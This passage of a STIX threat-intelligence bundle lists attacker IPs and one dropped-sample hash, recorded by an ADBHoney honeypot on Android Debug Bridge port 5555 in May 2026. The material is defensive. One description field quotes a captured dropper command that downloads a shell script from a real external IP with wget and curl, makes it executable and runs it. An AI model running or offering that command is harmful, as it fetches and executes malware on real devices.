        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '60.188.43.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:00:17.000Z",
      "valid_until": "2026-06-06T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 43,
          "first_seen": "2026-05-05T08:02:12.000Z",
          "last_seen": "2026-05-05T08:15:12.019Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-05T12:28:08.000Z | last_seen=2026-05-05T12:39:38.347Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a10cbd1e-2350-40e7-b491-c68f40ab5327",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '144.126.203.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:00:10.000Z",
      "valid_until": "2026-06-06T13:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-05T12:28:08.000Z",
          "last_seen": "2026-05-05T12:39:38.347Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=40; ports=5555; cc=HK; asn=147002; asn_org=VMShell Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=40 | first_seen=2026-05-05T13:36:44.000Z | last_seen=2026-05-05T13:49:50.567Z | ports=5555 | cc=HK | asn=147002 | org=VMShell Inc.",
      "id": "indicator--b8593a9f-04f4-4e68-a927-8391bc656cb3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.172.135.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:00:02.000Z",
      "valid_until": "2026-06-06T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 40,
          "first_seen": "2026-05-05T13:36:44.000Z",
          "last_seen": "2026-05-05T13:49:50.567Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "147002"
          ],
          "org": [
            "VMShell Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T15:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-05T14:54:44.000Z | last_seen=2026-05-05T14:55:54.944Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--39836e0b-f26f-4ece-a2d3-90fca6b2ff95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:00:05.000Z",
      "valid_until": "2026-06-06T15:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-05T14:54:44.000Z",
          "last_seen": "2026-05-05T14:55:54.944Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T17:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=1894 | first_seen=2026-05-03T21:02:39.000Z | last_seen=2026-05-11T07:52:46.326Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--f225b469-4532-4094-b28f-e4563342d2ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:00:10.000Z",
      "valid_until": "2026-06-06T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1894,
          "first_seen": "2026-05-03T21:02:39.000Z",
          "last_seen": "2026-05-11T07:52:46.326Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T19:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=NL; asn=210558; asn_org=1337 Services GmbH; adb_cmd_hits=0; cmd=\"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.83.207.206/run.sh; curl -O http://45.83.207.206/run.sh; chmod 777 run.sh; sh run.sh; rm -r\"\n\nObserved in ADBHoney telemetry for 2026-05. events=28 | first_seen=2026-05-05T18:57:54.000Z | last_seen=2026-05-10T17:47:31.601Z | ports=5555 | cc=NL | asn=210558 | org=1337 Services GmbH",
      "id": "indicator--8cf1f56a-3033-4fd0-8236-8c4f915affeb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.154.98.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:00:10.000Z",
      "valid_until": "2026-06-06T19:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 28,
          "first_seen": "2026-05-05T18:57:54.000Z",
          "last_seen": "2026-05-10T17:47:31.601Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "210558"
          ],
          "org": [
            "1337 Services GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T19:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/518a3e3dcd73646208adfc140f17c0acc9d37c98b9f5f8b40db5b2b2a02f6286.raw; last_seen=2026-05-05T18:57:56.596Z",
      "id": "indicator--162b6610-0fcf-457a-81fb-965fa0aed8f7",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '518a3e3dcd73646208adfc140f17c0acc9d37c98b9f5f8b40db5b2b2a02f6286']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T22:00:36.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-05T21:03:08.000Z | last_seen=2026-05-05T21:04:46.641Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--9951eddd-bf43-4301-abff-f6e32d6148b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:00:36.000Z",
      "valid_until": "2026-06-06T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-05T21:03:08.000Z",
          "last_seen": "2026-05-05T21:04:46.641Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T22:00:36.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=53; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=53 | first_seen=2026-05-05T21:05:05.000Z | last_seen=2026-05-05T21:15:49.532Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--faef7e1e-97b3-4e1a-89c0-1e114ecb1175",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:00:36.000Z",
      "valid_until": "2026-06-06T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 53,
          "first_seen": "2026-05-05T21:05:05.000Z",
          "last_seen": "2026-05-05T21:15:49.532Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T23:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-05T22:38:34.000Z | last_seen=2026-05-05T22:50:26.812Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--0a41d434-f23a-4046-a897-0f7ed805d9f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:00:10.000Z",
      "valid_until": "2026-06-06T23:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-05T22:38:34.000Z",
          "last_seen": "2026-05-05T22:50:26.812Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-05T23:55:12.000Z | last_seen=2026-05-06T00:05:30.625Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--d89d5984-cc9d-4592-b218-465d8cc4627b",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:00:03.000Z",
      "valid_until": "2026-06-07T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-05T23:55:12.000Z",
          "last_seen": "2026-05-06T00:05:30.625Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T01:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=7018; asn_org=AT&T Enterprises, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-06T00:14:49.000Z | last_seen=2026-05-06T00:16:25.523Z | ports=5555 | cc=US | asn=7018 | org=AT&T Enterprises, LLC",
      "id": "indicator--50ad22dd-37c0-4a60-9a8e-429288ac8567",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '107.219.139.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:00:10.000Z",
      "valid_until": "2026-06-07T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-06T00:14:49.000Z",
          "last_seen": "2026-05-06T00:16:25.523Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7018"
          ],
          "org": [
            "AT&T Enterprises, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T02:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-06T01:23:43.000Z | last_seen=2026-05-07T16:06:31.828Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--7ee49255-dd72-4d64-9ca0-81b255a99fe9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:00:01.000Z",
      "valid_until": "2026-06-07T02:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-06T01:23:43.000Z",
          "last_seen": "2026-05-07T16:06:31.828Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T02:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T01:22:58.000Z | last_seen=2026-05-06T01:24:00.634Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8ccfdff4-6608-4119-8a0d-7541906d3f19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:00:01.000Z",
      "valid_until": "2026-06-07T02:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T01:22:58.000Z",
          "last_seen": "2026-05-06T01:24:00.634Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T02:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-06T01:57:50.000Z | last_seen=2026-05-06T02:08:11.112Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--155b0016-3972-48db-9719-5d5a7ae3df20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:00:01.000Z",
      "valid_until": "2026-06-07T02:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-06T01:57:50.000Z",
          "last_seen": "2026-05-06T02:08:11.112Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T02:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-06T01:57:50.000Z | last_seen=2026-05-06T02:07:54.165Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--37f601b4-2b4b-460b-8d80-c4270c3bda56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:00:01.000Z",
      "valid_until": "2026-06-07T02:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-06T01:57:50.000Z",
          "last_seen": "2026-05-06T02:07:54.165Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T02:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=20 | first_seen=2026-05-06T01:53:52.000Z | last_seen=2026-05-27T02:06:22.094Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:00:01.000Z",
      "valid_until": "2026-06-07T02:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 20,
          "first_seen": "2026-05-06T01:53:52.000Z",
